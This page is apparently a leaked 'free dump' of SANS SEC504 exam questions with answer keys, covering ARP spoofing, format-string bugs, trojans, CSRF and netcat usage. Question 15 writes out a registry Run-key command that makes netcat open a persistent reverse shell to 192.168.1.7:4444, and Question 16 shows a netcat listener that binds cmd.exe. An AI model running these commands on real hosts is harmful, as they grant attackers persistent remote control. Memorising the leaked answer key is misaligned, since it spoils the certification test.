최신 SEC504 무료덤프 - SANS Hacker Tools, Techniques, Exploits and Incident Handling

문제1

In which of the following attacks does the attacker gather information to perform an access attack?

A. Land attack

B. Vulnerability attack

C. DoS attack

D. Reconnaissance attack

정답: D

문제2

Which of the following is the method of hiding data within another media type such as graphic or document?

A. Cryptanalysis

B. Steganography

C. Spoofing

D. Packet sniffing

정답: B

문제3

Adam, a malicious hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to conduct Man-in-The-Middle attack.
Which of the following is the destination MAC address of a broadcast frame?

A. 0xFFFFFFFFFFFF

B. 0xDDDDDDDDD

C. 0xAAAAAAAAAA

D. 0x00000000000

정답: A

문제4

Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. His chooses to use printf(str) where he should have ideally used printf("%s", str).
What attack will his program expose the Web application to?

A. SQL injection attack

B. Sequence++ attack

C. Cross Site Scripting attack

D. Format string attack

정답: D

문제5

Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

A. Beast

B. Klez

C. SQL Slammer

D. Code red

정답: C

문제6

Which of the following techniques does an attacker use to sniff data frames on a local area network and modify the traffic?

A. Email spoofing

B. IP address spoofing

C. ARP spoofing

D. MAC spoofing

정답: C

문제7

CORRECT TEXT
Fill in the blank with the appropriate term.
_______is the practice of monitoring and potentially restricting the flow of information outbound from one network to another

정답:

Egress filtering

문제8

Which of the following statements is true about a Trojan engine?

A. It analyzes the nonstandard protocols, such as TFN2K and BO2K.

B. It specifies events that occur in a related manner within a sliding time interval.

C. It specifies the signatures that keep a watch for a host or a network sending multiple packets to a single host or a single network.

D. It limits the system resource usage.

정답: A

문제9

Which of the following statements are true about netcat?
Each correct answer represents a complete solution. Choose all that apply.

A. The nc -z command can be used to redirect stdin/stdout from a program.

B. It provides outbound and inbound connections for TCP and UDP ports.

C. It can be used as a file transfer solution.

D. It provides special tunneling, such as UDP to TCP, with the possibility of specifying all network parameters.

정답: B,C,D

문제10

Adam works as a Security Analyst for Umbrella Inc. Company has a Windows-based network. All computers run on Windows XP. Manager of the Sales department complains Adam about the unusual behavior of his computer. He told Adam that some pornographic contents are suddenly appeared on his computer overnight. Adam suspects that some malicious software or Trojans have been installed on the computer. He runs some diagnostics programs and Port scanners and found that the Port 12345, 12346, and 20034 are open. Adam also noticed some tampering with the Windows registry, which causes one application to run every time when Windows start.
Which of the following is the most likely reason behind this issue?

A. Elsave is installed on the computer.

B. Cheops-ng is installed on the computer.

C. NetStumbler is installed on the computer.

D. NetBus is installed on the computer.

정답: D

문제11

Which of the following attacks allows an attacker to sniff data frames on a local area network (LAN) or stop the traffic altogether?

A. Port scanning

B. Session hijacking

C. ARP spoofing

D. Man-in-the-middle

정답: C

문제12

Adam works as a Security administrator for Umbrella Inc. He runs the following traceroute and notices that hops 19 and 20 both show the same IP address.
1 172.16.1.254 (172.16.1.254) 0.724 ms 3.285 ms 0.613 ms 2 ip68-98-1761.nv.nv.cox.net
(68.98.176.1)
12.169 ms 14.958 ms 13.416 ms 3 ip68-98-176-1.nv.nv.cox.net
(68.98.176.1)
13.948 ms ip68-100-0-1.nv.nv. cox.net (68.100.0.1) 16.743 ms 16.207 ms 4 ip68-100-0-137.nv.nv.cox.net (68.100.0.137) 17.324 ms 13.933 ms 20.938 ms 5
68.1.1.4
(68.1.1.4) 12.439 ms 220.166 ms 204.170 ms
6 so-6-0-0.gar2.wdc1.Level3.net (67.29.170.1) 16.177 ms 25.943 ms 14.104 ms 7
unknown.Level3.net (209.247.9.173) 14.227 ms 17.553 ms 15.415 ms "PassGuide" - 8 so-0-1-0.bbr1.NewYork1.level3.net (64.159.1.41) 17.063 ms 20.960 ms 19.512 ms 9 so7-0-0.gar1. NewYork1.Level3.net (64.159.1.182) 20.334 ms 19.440 ms 17.938 ms 10 so4-0-0.edge1.NewYork1.Level3.
net (209.244.17.74) 27.526 ms 18.317 ms 21.202 ms 11 uunet-level3oc48.NewYork1.Level3.net
(209.244.160.12) 21.411 ms 19.133 ms 18.830 ms 12 0.so-6-0-0.XL1.NYC4.ALTER.NET
(152.63.21.78)
21.203 ms 22.670 ms 20.111 ms 13 0.so-2-0-0.TL1.NYC8.ALTER.NET (152.63.0.153)
30.929 ms 24.858 ms
23.108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms
33.910 ms 15 0.so-7-0-0.XL1.MIA4.ALTER.NET (152.63.86.189) 51.165 ms 49.935 ms
49.466 ms 16 0.so-3-0-0.XR1.MIA4.ALTER.
NET (152.63.101.41) 50.937 ms 49.005 ms 51.055 ms 17 117.ATM60.GW5.MIA1.ALTER.NET (152.63.82.73) 51.897 ms 50.280 ms 53.647 ms 18 PassGuidegw1. customer.alter.net (65.195.239.14) 51.921 ms 51.571 ms 56.855 ms 19 www.PassGuide.com (65.195.239.22) 52.191 ms 52.571 ms 56.855 ms 20 www.PassGuide.com (65.195.239.22) 53.561 ms 54.121 ms 58.333 ms
Which of the following is the most like cause of this issue?

A. Intrusion Detection System

B. A stateful inspection firewall

C. An application firewall

D. Network Intrusion system

정답: B

문제13

You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities. Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.

A. Misconfiguration (e.g. open mail relay, missing patches, etc.)

B. Vulnerabilities that help in Code injection attacks

C. Vulnerabilities that allow a remote cracker to access sensitive data on a system

D. Vulnerabilities that allow a remote cracker to control sensitive data on a system

정답: A,C,D

문제14

Which of the following are the limitations for the cross site request forgery (CSRF) attack?
Each correct answer represents a complete solution. Choose all that apply.

A. The attacker must determine the right values for all the form inputs.

B. The target site should have limited lifetime authentication cookies.

C. The attacker must target a site that doesn't check the referrer header.

D. The target site should authenticate in GET and POST parameters, not only cookies.

정답: A,C

문제15

You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

A. You want to put Netcat in the stealth mode.

B. You want to perform banner grabbing.

C. You want to set the Netcat to execute command any time.

D. You want to add the Netcat command to the Windows registry.

정답: A,C,D

문제16

You execute the following netcat command:
c:\target\nc -1 -p 53 -d -e cmd.exe
What action do you want to perform by issuing the above command?

A. Listen the incoming data and performing port scanning

B. Capture data on port 53 and delete the remote shell

C. Capture data on port 53 and performing banner grabbing

D. Listen the incoming traffic on port 53 and execute the remote shell

정답: D

문제17

You run the following bash script in Linux:
for i in 'cat hostlist.txt' ;do
nc -q 2 -v $i 80 < request.txt done
Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file. Which of the following tasks do you want to perform by running this script?

A. You want to perform banner grabbing to the hosts given in the IP address list.

B. You want to perform port scanning to the hosts given in the IP address list.

C. You want to put nmap in the listen mode to the hosts given in the IP address list.

D. You want to transfer file hostlist.txt to the hosts given in the IP address list.

정답: A

최신 SEC504 무료덤프 - SANS Hacker Tools, Techniques, Exploits and Incident Handling

우리와 연락하기

유용한 링크

최신 업데이트